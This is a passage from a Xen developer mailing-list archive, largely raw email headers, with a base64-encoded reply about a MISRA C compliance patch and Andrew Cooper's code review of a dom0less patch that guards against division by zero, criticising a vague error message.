List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=xNx0IT4tu9Tc7d7WDvGZNgzo/8kV3qIAu7f9dNeIiViOZpS2dwkXAvaEMDw5jneqcqahEvvzaCTIEUtIofp6lqSCZIam5i9MMHXo78Vr+U1dALp76a94A0M4NTY6OobWgp2jFqt05DC3HED+UYiepeADNnphhRbEt5yWJhyKRySolgNtB8JxW3rVTdMG+a7jP6lav266tGkH2MQxUVqz+huXdW92HKoH53PwZP66laYRaBlqh1QwB2dsY9bMBsOmBpMsxa+w7N3TSINj34lsrPAO9V5ZjBVdwYmiml/iiEft6WNeZCVvudEuFdNhDFpdjZxSE3dLJCiA6d/zdfbHuQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=E4AChsfAvIyp0KSiQVnCeNi/DLSWY404cvjnZS4eaT8=;
 b=d7OhczKfQsZti2gKGuzAb3rpLkcQaoTlCvjO/eXcJ369605R4f3WjVPfBRFZ5l6ieUfAplts9Ccwkn4ZahhjI9QOpStPWzyBjHQZJPyI9u2cM2Y/5zBd0jDsv30jZXJULEv95v0NXkCaDY6m1xNVyVeIS2ekNrfWt9x/L8Q0yGEpYR/IbkFbiE3CBn5CeT67OyDUEuZ400ng+2UiAaeyBJZ+BweJw6bryyFBGwfvEEqc1d5XPf4QUeMRImcBh8PnvWWzxpBAiQluaEow4Tmu4qT4yjZM9nCJogO5o0s3fJAMKjrCWWJfMBOa8ptBf0MA1yWojxsJ9KJv+OeHh7mYaQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=E4AChsfAvIyp0KSiQVnCeNi/DLSWY404cvjnZS4eaT8=;
 b=nk0tDOf8ywXV0lCeiyz1yzrVwU27YGByNXOvyaIt41CTIp6Ji33pFRDdI3BGw3pNA6BOMNXhMihm5+YKamZKISwX5P1X1HvA8WPuNVOUAkLp2e3TMj0PMwUjI8g1PjkU57zBW3AoWksk51V+Dy+nchYQ5uno3vdH1OZEXBTpDgu2QY2nLb6QrYnwi5SZIm759BXs043dARHoYXNpgX9WM8paABRMPwck8WSTnKcSWhmuImCf5yON5MqAVs/hW/2sWILgTMmwGe6C9zaiP6FMFDobLXu2xVI3VERBVz/qgYMla5jd/0ATU/azHz7akJYZDh8cooCFpoSvH/ByGCPdXg==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: Jan Beulich <jbeulich@suse.com>
CC: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH] generic/altp2m: address violations of MISRA C Rule 2.1
Thread-Topic: [PATCH] generic/altp2m: address violations of MISRA C Rule 2.1
Thread-Index: AQHcyEeH3FAPJgz8C0q4McY6u5ZElbXXzxqAgHMEWQCAGq9yAA==
Date: Thu, 9 Jul 2026 10:00:10 +0000
Message-ID: <b0738b79-2a9f-4571-8465-bfb00123300f@epam.com>
References:
 <8b5ca213a097f7b221b06b6173e4621563779a73.1775752149.git.dmytro_prokopchuk1@epam.com>
 <3b2daddd-9afc-4c75-92c0-f7c6ace3f735@suse.com>
 <d6dcde3d-99eb-4fa3-9078-a13e35c8a1b4@epam.com>
In-Reply-To: <d6dcde3d-99eb-4fa3-9078-a13e35c8a1b4@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|AS2PR03MB9611:EE_
x-ms-office365-filtering-correlation-id: b88182cd-0ad7-4063-cd20-08dedda0dd3e
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|1800799024|366016|376014|42112799006|23010399003|11063799006|4143699003|56012099006|6133799003|22082099003|18002099003|38070700021;
x-microsoft-antispam-message-info:
 v2rSVTlfgPYym6YX5AIX0wY1abahiD+DIpRLqyEfdn0EFn+0tpmaykqdcfUsGRrXrDqq0Yk79MaXe7zPvJOeMf7B7KWYqeOPxm9TZRX3L8yePmuGkDDMDb0fPNkgM6rftvifoM+Vio5Owf6MmAuMazvlFi9Jv8bpHSmC4EcrlRu6L6SkUgagz07GzxdqO5/tkdviGswTM1XYgEdu7XbdHKDctF5rNX7CTJ73ZI4mjpdcfne37k+2BzF2fliOXEhk11k+YrIyT59Zngg6gmUR8KLS1ToNZkGWrQyoiSC2waETNo4c2XjXE3yY4fTgTYXaYjDSq4UF+mTTnMgS7bcga13MHDW04ktNgLawi6kRh6yhqiEHbB94kzUAMOXU+UdlAF1hzPJLHCEy0OraPiToESCOBXPveW3qbDW0ECdG3AG5ncPeXA8znCsGZh5cNEM4gmxuySKBOII4est4LewmyjPMiDDUiCcCoQflfc8ZyIlMPF+4ZK2f3xBpbJMjZFNAKBRM9p4yJfxi+rHFpn4ds9c84RkyMiuScfuoYm7fEQJocZaHbPpv2yDyMljDe1/qNx4WQwTzjIJiBamzlxqeUOdAP86jHSXPFrXXAqgSTzHajVKiB2BiFiKCpJ0NFPy+27G2ozXvMJYZoAuEjnyIQMZiWwAlUezrL8wJ5l/yPwaR0kdMsrjyp9DeoTL79+mfMRqpqWq2X1ssME0v+L+MWSYK2PuS6pctZP08+JNpw7s=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(42112799006)(23010399003)(11063799006)(4143699003)(56012099006)(6133799003)(22082099003)(18002099003)(38070700021);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?OURnL2l0eU9INDZKSVdxUXZVdi9SdHVuVzZrRHBwYTdGVEVaUmUwTkVaUDQw?=
 =?utf-8?B?TlU5RSt4NHdoT2plMytjdFlqYlhia0ozeTlJWWFndmhyZHVpNkdSUTNQczUx?=
 =?utf-8?B?VFZBblB4QmlRdURkZGVvZ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?=
 =?utf-8?B?bjluYTdzRU1nYzl4RG9DODgyV3QzK0pDRE5LTSs0c0d3anNVbVU4TDJVY3Z0?=
 =?utf-8?B?ZERCNTNYcFE4bHJPSENTTUVLU3VtM0J0NHlSenlnVlNzZGVSRmpOU2lNeFJq?=
 =?utf-8?B?MlMySVZuZGwrK3JvbkVBMVlCN0Z1bXNTdVEzNEpKbTh6dzhJYUk5cGJuVkZQ?=
 =?utf-8?B?Z0ZxR3R6TSt0NG9kT0Z2bTVmRDlrTDR3NWlGQXB6WkFVc29lZ0dVYUpHTWJP?=
 =?utf-8?B?ODg4ekNERkZMVGszcXArRFp1cG5LK3doSDYrK3pxRms2Y2hzRDdRcXhzVUhF?=
 =?utf-8?B?VW5KWThPdmU4aWlPVkFjWHJFdWF0WFlraDZyU0FXR0EzclpLcW1QbVd2NW03?=
 =?utf-8?B?VjFTUnA3MTFrbFBXY3gxYnppNWV4dS80SEhZK2k1QTl4U0ROMHlSbTVab2Ry?=
 =?utf-8?B?TjhGWHYxdloxYW5oNnJEUVFiblNkYnk4RDIrT08rcnAvelBQdUY2bTJUdEY5?=
 =?utf-8?Q?vIxt275DB7SwoqI0=3D?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <F98DD68CAE9E7148A3F1D151B2A042B8@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b88182cd-0ad7-4063-cd20-08dedda0dd3e
X-MS-Exchange-CrossTenant-originalarrivaltime: 09 Jul 2026 10:00:10.9186
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprinc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aW5nDQo+IHVpbnQxNl90Lg0KPiANCj4gRm9yIGFyY2hpdGVjdHVyZXMgdXNpbmcgdGhl
IGdlbmVyaWMgYWx0cDJtLmggaGVhZGVyIChzdWNoIGFzIEFSTSB3aGVuDQo+IENPTkZJR19WTV9F
VkVOVCBpcyBlbmFibGVkKSwgY29tbW9uIGNvZGUgY2FsbHMgdG8gJ2FsdHAybV92Y3B1X2lkeCgp
JyBpbiANCj4gY29tbW9uL21vbml0b3IuYyBhcmUgZ3VhcmRlZCBieSAnYWx0cDJtX2FjdGl2ZSgp
Jywgd2hpY2gNCj4gc3RhdGljYWxseSByZXR1cm5zICdmYWxzZScuIFRoZSBjb21waWxlcidzIERD
RSB3aWxsIG9wdGltaXplIG91dCB0aGVzZSANCj4gY2FsbHMsIGF2b2lkaW5nIGFueSBsaW5rZXIg
aXNzdWVzIGZvciB0aGUgbWlzc2luZyBkZWZpbml0aW9uLg0KPiANCj4+DQo+PiBKYW4NCj4gDQo+
IEJSLCBEbXl0cm8uDQoNCkhlbGxvIEphbiwNCg0Ka2luZCByZW1pbmRlci4gUGxlYXNlLCB0YWtl
IGEgbG9vay4=


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:03:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:03:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357827.1612157 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlat-0002xe-Pn; Thu, 09 Jul 2026 10:02:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357827.1612157; Thu, 09 Jul 2026 10:02:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlat-0002xX-MX; Thu, 09 Jul 2026 10:02:59 +0000
Received: by outflank-mailman (input) for mailman id 1357827;
 Thu, 09 Jul 2026 10:02:59 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1whlas-0002xP-Qa
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:02:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlas-0034ne-6r
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:02:58 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4f71c7-bab6-0a2a0a5309dd-0a2a4504a5a6-30
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:02:58 +0200
Received: from [52.101.43.36]
 (helo=SJ2PR03CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4f71d0-a01d-0a2a45040019-34652b24be97-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:02:57 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by SA1PR03MB7075.namprd03.prod.outlook.com (2603:10b6:806:325::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.11; Thu, 9 Jul
 2026 10:02:53 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Thu, 9 Jul 2026
 10:02:53 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=g9/b4LMAjeFTwvz5Nn1hNHqWyYUv8DHHvTC+105X+kVMXnBTaz0jEcsAmc4vdZfUNGDCJJr9+1YG/Vi/FJmV/kYHyroqDqg/zQMQakzZ7kHivN86TIilgThk4pXQOAPne9IWX0rWOEzeeRwJdC6Mfn4sgu/1e9PJFn3W4s+3H9BN1WDNHReKUnKUU/OLDlWp3WmnlVcKY2NnvcAkH6aDDPKe1bGjnMIt5hBUV4Ad3I9C9jcB09n1Nfd8SE1ERYEmRypJQifoOwoyjC+oszfVwvA6uNyyCAUm+WsW19ss3DoZVFNOYRCnnxte07ZaR6cB4JtmTV/MPcK3ZUxQXQ9L4w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Gl/zCNf5YngjikrbT93/lWoL6XWRmyySvZDjJneEvq8=;
 b=MNopK1P5E0MvCTWqO+Ejl/rcgPfLivCwhh5W4dxJ9YVeWHFtWscnF7A/8J8Ii++GsPackmdU24BCYaubxsw63UvDutEH7vmdq/3izHNfMT5mt12AhInLZtdR7XhTE5nq8QoE6WFObxilR5OtQSqmpXytQGoJ5s2t/7LYc0um/Y9no1nGiwr9DEDodsY8Rue4VzH2Kl3HVznpiFxkfWEutWd33qNoO/HzYYRB46UUOeYF8SuZ+umsaqhFNh5sqDuiIsWyWeBCL0DvNVawR3owpe1+HLWIk76H9DdX4aSIINbTaiN9XCmt/AVCjemobOMBJ9rdG4lvbd/EpPjo0WalzQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Gl/zCNf5YngjikrbT93/lWoL6XWRmyySvZDjJneEvq8=;
 b=wDXjlEO87cZqVh03pSBN2LvZ4gd0FrCmEo0j0avaihORV+UKR5ZtqQTCiJqm3Un+7pZeneLFFL99nW3DixDcRRuhOposi5qcBJ45s/eg0nD4pA38zwqRPMnFZCSfN023fNXOdHWTkETsKwGjSjV6WnYxgD9ei0GRE3kEUD4KgsA=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <c5873e46-596b-4aa7-8eda-0c1d62a62a6f@citrix.com>
Date: Thu, 9 Jul 2026 11:02:50 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>
Subject: Re: [PATCH for-4.22 v3] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <500cc80a172570f7fdde3287185398dc49460b2b.1783590032.git.dmytro_prokopchuk1@epam.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxhbmRyZXcuY29vcGVyM0BjaXRyaXguY29tPsLBegQTAQgAJAIbAwULCQgHAwUVCgkI
 CwUWAgMBAAIeAQIXgAUCWKD95wIZAQAKCRBlw/kGpdefoHbdD/9AIoR3k6fKl+RFiFpyAhvO
 59ttDFI7nIAnlYngev2XUR3acFElJATHSDO0ju+hqWqAb8kV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uk1@epam.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P265CA0007.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2ad::23) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|SA1PR03MB7075:EE_
X-MS-Office365-Filtering-Correlation-Id: d5e88575-e53e-4925-4509-08dedda13e26
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|376014|23010399003|366016|18002099003|22082099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	qfuxTanWQePVDSo0vG9G18nZyHxIdpZSVK8HGXjovfPYM4/8Rbh52IgUxq/ONREK/MoPmLZIYB8p6km9v3P9HGdnBAVT61m3kaNVZtemjir7o50hrAn9w6aklORLa2S+12FCE++CTqMAVdo5bc94f6HfI6GYN4NaReU7I4d8vSxrj4EU63hCLiZqNrJ1kr9KZmJ3C97Wh3oazVeLnHw6AZp0jlMCrp3R1Cpq5dHq5wFAk6OJpd2V5PM6j2/s/o/SXTMugpFmyd11+tu3THTTlWHdBUxZvNQfB56tLkxjbsSAeyXoRFQ2gt0lttF+I/gF9eOrlQhD1iyCXIQvC2+KOaGu+PsABw28b28BrtsJmz5KQqHT/fZDbB/FskdreBf6s9fvGjJ/l6HCFyJx31gbLJjbJGCAbuv4TaQ0VT+ZpLjLYar0GnUEKwU4tHMwt9V2CBy5GDBlFnhG1+g2SNsMFLTC2Rxv6zgQm122ZOrLSLCS/bUpiB/lASLbLF3ttj6J96vE00qRhHVUN1uhcHaLzbH6s3R8jVqHLzp8T44Fg7nIfY9jvZp/A1mymOB82P/fiULcRhIqd5eHA2QrYZzpCToBg6XRPOP4WGGDemhaGr9+ozRlQhVTvvomuC1IwGUjvCdctXhz9IqSYECYyRMJX+U21HThTG7kqIGjWvIVWP4=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(376014)(23010399003)(366016)(18002099003)(22082099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?ZXRQRmRpU3dyTzBESDRtdVlJSFpvK0RORXg4QjRpa0kyeGZpaGxCVWliODR0?=
 =?utf-8?B?R2RCWjIrSXdwWVdZVTJPejIzQ1YvcGg5bE5vMFhqNmFrb2krblpVWkZEVU01?=
 =?utf-8?B?U09rV1BHRDZTUkxlOUgyQnRLeFlCUzZTNURqdVRISUJKaS9pcldMNUJaZmRI?=
 =?utf-8?B?TjFENndsWWVPMldhbWo5STg0VlBJMEs1OFFpMWFDdGErbXYzNzM1T3FFWDlM?=
 =?utf-8?B?ek5qSnNhVVpTRHNLOUtneU9FMW84T0ZxanZRTHRDQ1hIcGtaWEI2Mk1Rak8v?=
 =?utf-8?B?VGF4T1ZLaWppaklRR0gycDRnOW1tNkpkQTlRMG5UTXgxWGRpSmVrSnpObGJM?=
 =?utf-8?B?NWZsZStLakZjQ3ZMRDBrMzRxUStEVC9MUHFnZGtUQUtqVGFWdmZ5WW1TYzBy?=
 =?utf-8?B?S3hxMVg5WkVYbjZnM1lDRTdsR0U5bGJrVDdRV1VvdU1rQmZtaWs2NmthUy8x?=
 =?utf-8?B?a0oyWXRwejIvcFZEeUFTY3dYK1NvNlVvQ0JGQlpTRXZ1TVh0UlJCY2oxNmVH?=
 =?utf-8?B?SW11OTBqbSsrbW5DWnpGM0Z5akRmZHJOVTY5dmlZM05sZ3NJNytKbk1ISk03?=
 =?utf-8?B?eHhhbVJXK1JzUTUwWmNIcHFlS3NSeFRPdHRyZk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network-Message-Id: d5e88575-e53e-4925-4509-08dedda13e26
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 10:02:53.6828
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: Qvqc42M4ZDKRorak+aIp1ZxLy4z+iKt/nhqn+ZN7Au9FfrXJk02AZsxSRLHu+MhFFbUQKJBLsTm7cL6O892LIXQq8Ti4Rdh3N2Pt6HRjMeM=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA1PR03MB7075
X-purgate-ID: tlsNG-ebf023/1783591378-2F9531CC-05689F7D/0/0
X-purgate-type: clean
X-purgate-size: 1207

On 09/07/2026 10:44 am, Dmytro Prokopchuk1 wrote:
> diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
> index eacfd93087..179a2b88aa 100644
> --- a/xen/common/device-tree/dom0less-build.c
> +++ b/xen/common/device-tree/dom0less-build.c
> @@ -341,6 +341,13 @@ static int __init scan_pfdt_node(struct kernel_info *kinfo, const void *pfdt,
>      size_cells = device_tree_get_u32(pfdt, nodeoff, "#size-cells",
>                                       DT_ROOT_NODE_SIZE_CELLS_DEFAULT);
>  
> +    if ( address_cells < 1 || address_cells > 2 ||
> +         size_cells < 1 || size_cells > 2 )
> +    {
> +        dprintk(XENLOG_ERR "Invalid address/size cells combination\n");
> +        return -EINVAL;

As an aside, this is a terrible error message.Â  It's literally
"something went wrong, but I'm not going to tell you what".

A better error message would be "Invalid address_cells %u or size_cells
%u\n".

You should always identify what value you found if you're going to say
you don't like it.Â  For this example, it might be that the issue isn't
in the DTB at all; it could be memory corruption causing Xen to find
junk here.

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:08:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:08:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357837.1612167 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlfm-0003kW-Bj; Thu, 09 Jul 2026 10:08:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357837.1612167; Thu, 09 Jul 2026 10:08:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlfm-0003kP-6w; Thu, 09 Jul 2026 10:08:02 +0000
Received: by outflank-mailman (input) for mailman id 1357837;
 Thu, 09 Jul 2026 10:08:01 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whlfl-0003jB-6g
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:08:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlfk-00D7IP-Jj
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:08:00 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f72ff-5cb7-0a2a0a5109dd-0a2a45039f5a-8
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:08:00 +0200
Received: from [74.125.224.41] (helo=mail-yx1-f41.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f72ff-ec1a-0a2a45030019-4a7de029d13a-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:08:00 +0200
Received: by mail-yx1-f41.google.com with SMTP id
 956f58d0204a3-664cdeab266so2465674d50.3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:08:00 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1783591679; cv=none;
        d=google.com; s=arc-20260327;
        b=sYd+aURMBUyEKFjLOnIdRhpaBye9K2UFrlm5uoY3fvLQln8U1qusGCKt8BYePL8riS
         yoyNNHNgro/bnCXgAltMpSSk2+feI9XhJfHvHu13DaPrqdcz86ltSm8HAFtNrzbvbr4B
         ofq3afrSm4Dpu1evR0ZPCwL+G6mNJdJUWOEJa8jc7E9Lpw2xfafKjjTNr4NrhaQj05K1
         jVHo/T+loaVukT7aEUHWdCQCIfJv8cEeGTjYZT1Vm8BM9GS9DuVvpQo6K/PzTId1N9lW
         H6qTWYOiEQ/EF3obPikaCz+hYtasjyO84qOMLiIp14VREG6I84jKuII8kt7z2tXnefwl
         cHvA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=cc:to:subject:message-id:date:from:in-reply-to:references
         :mime-version:dkim-signature;
